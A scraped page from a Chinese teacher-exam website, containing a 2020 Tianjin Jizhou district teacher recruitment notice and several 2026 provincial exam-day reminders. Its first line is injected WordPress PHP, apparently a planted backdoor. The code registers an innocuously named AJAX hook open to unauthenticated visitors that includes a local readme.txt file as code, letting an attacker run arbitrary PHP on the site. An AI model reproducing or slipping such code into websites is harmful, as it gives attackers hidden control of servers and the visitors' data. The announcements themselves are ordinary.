if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
天津蓟州区2020公开招聘教师174人公告-全国教师资格考试网

天津蓟州区2020公开招聘教师174人公告

  依据《天津市事业单位公开招聘人员实施办法(试行)》(津人社局发〔2011〕10号)和《市委组织部市人力社保局关于进一步完善事业单位公开招聘工作的通知》(津人社局发〔2017〕37号)文件规定,经区委、区政府批准,按照公开、平等、竞争、择优的原则,蓟州区教育系统公开招聘教师174人,纳入事业编制。现制定招聘方案如下:
  一、招聘计划
  2020年招聘教师174人,具体岗位、数额及条件见《2020年蓟州区教育系统公开招聘教师计划表》。
  二、招聘条件
  (一)基本条件
  1.热爱教育事业,遵守教师职业道德,认真履行教师职责;
  2.年龄在30周岁及以下(即1989年7月16日及以后出生),博士研究生放宽至35周岁及以下(即1984年7月16日及以后出生);
  3.具有正常履行职责的身体条件;
  4.五官端正,讲标准的普通话;
  5.遵守国家各项法律法规,品行良好;
  6.应具有符合岗位要求的相关证书;凡符合教师资格考试报名条件和教师资格认定关于思想政治素质、普通话水平、身体条件等要求的高校毕业生,可以先上岗从事教育教学相关工作,但应于录取后1年试用期内取得相应职业资格证。
  7.符合回避的有关规定;
  8.符合招聘岗位所需的其他资格条件。
  (二)凡有下列情况之一者,不得报考:
  1.受过党纪、政纪处分的;
  2.曾被辞退未满5年或开除公职的公务员和事业单位工作人员;
  3.道德败坏,有不良行为,受过公安机关行政拘留处理的;受过刑事处罚、劳动教养或少年管教的;
  4.在公务员和事业单位招考中被认定有舞弊行为的人员;
  5.现役军人和在读的非应届毕业生;
  6.被依法列入失信联合惩戒对象的;
  7.正在接受立案审查的人员;
  8.着短装身体裸露部位刺有“字、图案”影响仪容的(若录用后,一经发现取消录用资格);
  9.法律规定不得招聘到事业单位工作的其他情形。
  三、招聘程序
  本次招聘工作由蓟州区教育局组织实施,蓟州区人力社保局监督。采取笔试、面试相结合的方式进行。发布招聘信息、报名资格审查与缴费、笔试、面试等工作均委托第三方专业机构负责。具体程序如下:
  (一)发布招聘信息(2020年7月3日—7月15日)。
  在中天人力资源网(www.cnthr.com)、蓟州区教育网(jyj.tjjz.gov.cn)、蓟州人力网(www.jizhourenli.com)上发布招聘信息。
  (二)报名、资格审查与缴费。
  本次招聘报名、缴费均在中天人力资源网(www.cnthr.com)上进行。
  报考人员在正式报名前需将本人近期1寸半正面免冠彩色照片(背景色为蓝、白、红三种颜色之一),通过扫描仪、数码相机等设备制作成电子文件(.JPG或.JPEG格式,文件大小在200K,横3.5cm,竖5.3cm以内),务必按要求提前准备并在填写报名表时上传至相应位置。
  报名及缴费时间:2020年7月16日9:00至7月20日17:00。笔试考务费45元,逾期未缴费视为报名无效。
  报考人员只能选择一个岗位进行报考。岗位招聘人数与报名人数之比不低于1:3,达不到此比例,减少该岗位的招聘人数或取消该岗位的招聘计划,报考上述岗位并已缴费的人员在规定时间内可改报其他岗位。
  改报时间:2020年7月21日9:00至17:00。
  报考人员应如实填写《报名登记表》中的相关信息,报考人员只能选择一个岗位进行报名,报考人员提交的报考申请材料应当真实、准确,提供虚假报考申请材料的,一经查实即取消报考资格。对伪造、擅自涂改有关证件、材料、信息,骗取考试资格的,将按照有关规定予以处理,后果由报考人员自负。报考人员应随时关注网站发布的消息并保持报名表中填写的手机号码畅通,如因个人原因未能参加考试或者现场资格审核所产生的问题,后果由报考人员自负。
  资格审查贯穿考录工作全过程。在考录各环节发现报考人员不符合报考资格条件的,均可取消报考人员报考资格或者聘用资格。
 天津人力资源开发服务中心负责网络报名、资格审查和缴费的技术支持及具体实施工作,保证网络的安全及正常运行。
  (三)笔试
  报名成功人员进入笔试。笔试内容为所报岗位专业知识和《教育综合基础知识》,笔试成绩满分为100分。
  笔试准考证下载打印:2020年7月25日9:00开始在中天人力资源网下载打印。
  笔试时间:2020年7月27日(笔试具体时间地点及要求见准考证)。
  笔试成绩发布时间:2020年8月4日,应聘人员可登录报名网址查询笔试成绩及相关信息。
  (四)面试
  按笔试成绩由高分到低分排序,根据各岗位招聘计划数与参加面试人选1:3的比例,确定各岗位进入面试人员名单(最后一名笔试成绩出现并列时一并进入面试)。
  笔试通过的考生可于8月5日9:00至8月10日17:00登陆报名网站缴纳面试服务费45元。
  面试准考证打印:2020年8月13日9:00开始在中天人力资源网上下载打印面试准考证。
  面试时间:2020年8月15日(具体面试时间、地点及要求见面试准考证)。
  面试采取结构化面谈的方式。主要考察考生综合分析能力、组织协调能力、应变能力及岗位匹配情况等。面试成绩满分为100分,合格线为60分,达不到60分的不得进入现场资格审核。
  面试结束后当场确认成绩。
  特别提示:笔试、面试都必须同时携带准考证和身份证(二代),缺少任一证件的考生不得参加考试。
  总成绩计算方法:笔试成绩*60%+面试成绩*40%(笔试成绩、面试成绩保留1位小数,总成绩保留2位小数,按小数点保留位数的下一位进行四舍五入)。
  总成绩发布时间:2020年8月19日。考生可登录中天人力资源网,查看相关信息。
  (五)现场资格审核。
  按照总成绩由高分到低分排序,根据各岗位招聘计划数与进入现场资格审核人选1:1的比例,确定各岗位进入现场资格审核的人员名单(若总成绩最后一名出现并列,按笔试成绩高低顺序确定进入现场资格审核,如仍出现并列情况,一并进入现场资格审核),名单在中天人力资源网、蓟州区教育网公布。
  1.现场资格审核时间:2020年8月20日(上午8:40—11:00下午14:40—17:00)。
  2.现场资格审核地点:蓟州区教育技术装备管理中心(老电车大酒店对面)。
  3.现场资格审核需提交以下材料:
  (1)蓟州区2020年公开招聘教师报名登记表(需本人签字);
  (2)毕业证、学位证原件、复印件及教育部学历证书、学位证书电子注册备案表,2020届毕业生可携带毕业生推荐表或应届毕业生证明(加盖院系公章)原件及复印件;
  (3)身份证、户口本原件和复印件;
  (4)如果已取得教师资格证,需提供原件及复印件;未取得教师资格证的,根据人社部发〔2020〕24号)文件规定,实施“先上岗、再考证”阶段性措施,1年试用期内应取得相应学科、学段的教师资格证书,否则依法解除聘用合同;
  (5)毕业生报到证原件;
  (6)在职人员报考须提供所在单位及上级行政主管部门同意报考证明一份;
  现场资格审核必须由本人亲自参加,不准代办。资格审核不合格、自动放弃资格审核或本人未按照规定时间、地点参加资格审核的,不能提供相关资料以及在资格审核时弄虚作假、提供不真实材料者,不得参加体检。
  (六)体检。
  体检由区教育局安排,具体时间、地点在蓟州区教育网公布,按照《公务员录用体检通用标准(试行)》(人社部发[2010]19号)执行,体检不合格的不得进入考察阶段。
  考生对体检结果有质疑的,可以在接到结果7日内提出复检申请。复检只能进行一次,体检结果以复检结果为准。体检、复检费用均由考生自理。
  非招聘单位原因,未按照规定时间和地点参加体检、复检或鉴定的考生,视为自动放弃。
  (七)考察。
  考察工作由区教育局组织实施。按照德才兼备、以德为先的用人标准,遵循注重实绩、突出能力、综合择优的导向,主要采取查阅档案、个别谈话、召开座谈会、发函等形式,全面了解被考察对象的政治思想、道德品质、能力素质、工作态度、遵纪守法、学习工作表现以及需要回避的情况。
  (八)递补。
  因考生现场资格审核、体检、考察不合格或自动放弃等原因导致岗位空缺,依据同一岗位报考人员总成绩由高分到低分依次递补。若总成绩最后一名出现并列,按笔试成绩高低顺序确定进入递补,如仍出现并列情况,一并进入现场资格审核。
  (九)公示。
  根据笔试、面试、体检、考察结果,区教育局确定拟聘用人员名单,并在蓟州区教育网公示,公示期为7个工作日。
  (十)备案。
  公示期满后,对没有异议或者反映的问题不影响聘用的,区教育局依据招聘方案和各学段实际需求统一安排聘用岗位,依法依规办理聘用手续,签订聘用合同,并由区人力资源和社会保障局将《天津市事业单位公开招聘工作人员名册》报市人力资源和社会保障局备案。
  四、相关要求
  (一)拟聘人员在公示期满后将人事关系、个人档案转至蓟州区公共就业(人才)服务中心,如逾期责任自负。
  (二)报考人员弄虚作假、违反报名及考试纪律的取消考试或聘用资格。
  (三)所招聘教师签订聘用合同要求:所招聘教师与用人单位签订聘用合同原则上不少于6年。
  五、本方案由区教育局负责解释
  报名咨询电话:022-23266305
  政策咨询电话:022-29141099
  监督举报电话:022-29142588,82822867
  来电时间:工作日9:00-12:00、14:00-17:00
  六、特别提示
  报考人员要树立诚信考试光荣、违纪舞弊可耻的理念。报考人员有违纪违规行为的,一经处理,记入本人诚信档案。
  报考人员应当遵守招聘的有关要求,服从招聘单位主管部门、考试机构和招聘单位的安排。报考人员有违纪违规行为的,按照《事业单位公开招聘违纪违规行为处理规定》(人社部令第35号)予以处理。
  报考人员应严格遵守国家、天津市及考生现居住地相关防疫管理规定,遵守考点疫情防控有关要求,服从现场工作人员管理。关于考点疫情防控有关要求,请考生随时关注报名网站、蓟州教育网站和蓟州教育微信公众号。
  招聘过程中,如遇不可抗力或政策调整的因素影响,需要调整招聘工作的,经区教育局研究后,在报名网站发布调整信息。
  本次公开招聘不指定辅导用书,不举办也不委托任何机构举办辅导培训班。社会上以任何名义举办的辅导班、辅导网站或发行的出版物、上网卡等,均与本次考试无关,敬请广大报考人员提高警惕。
  附件:《2020年蓟州区教育系统公开招聘教师计划表》

天津市蓟州区教育局
2020年7月1日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部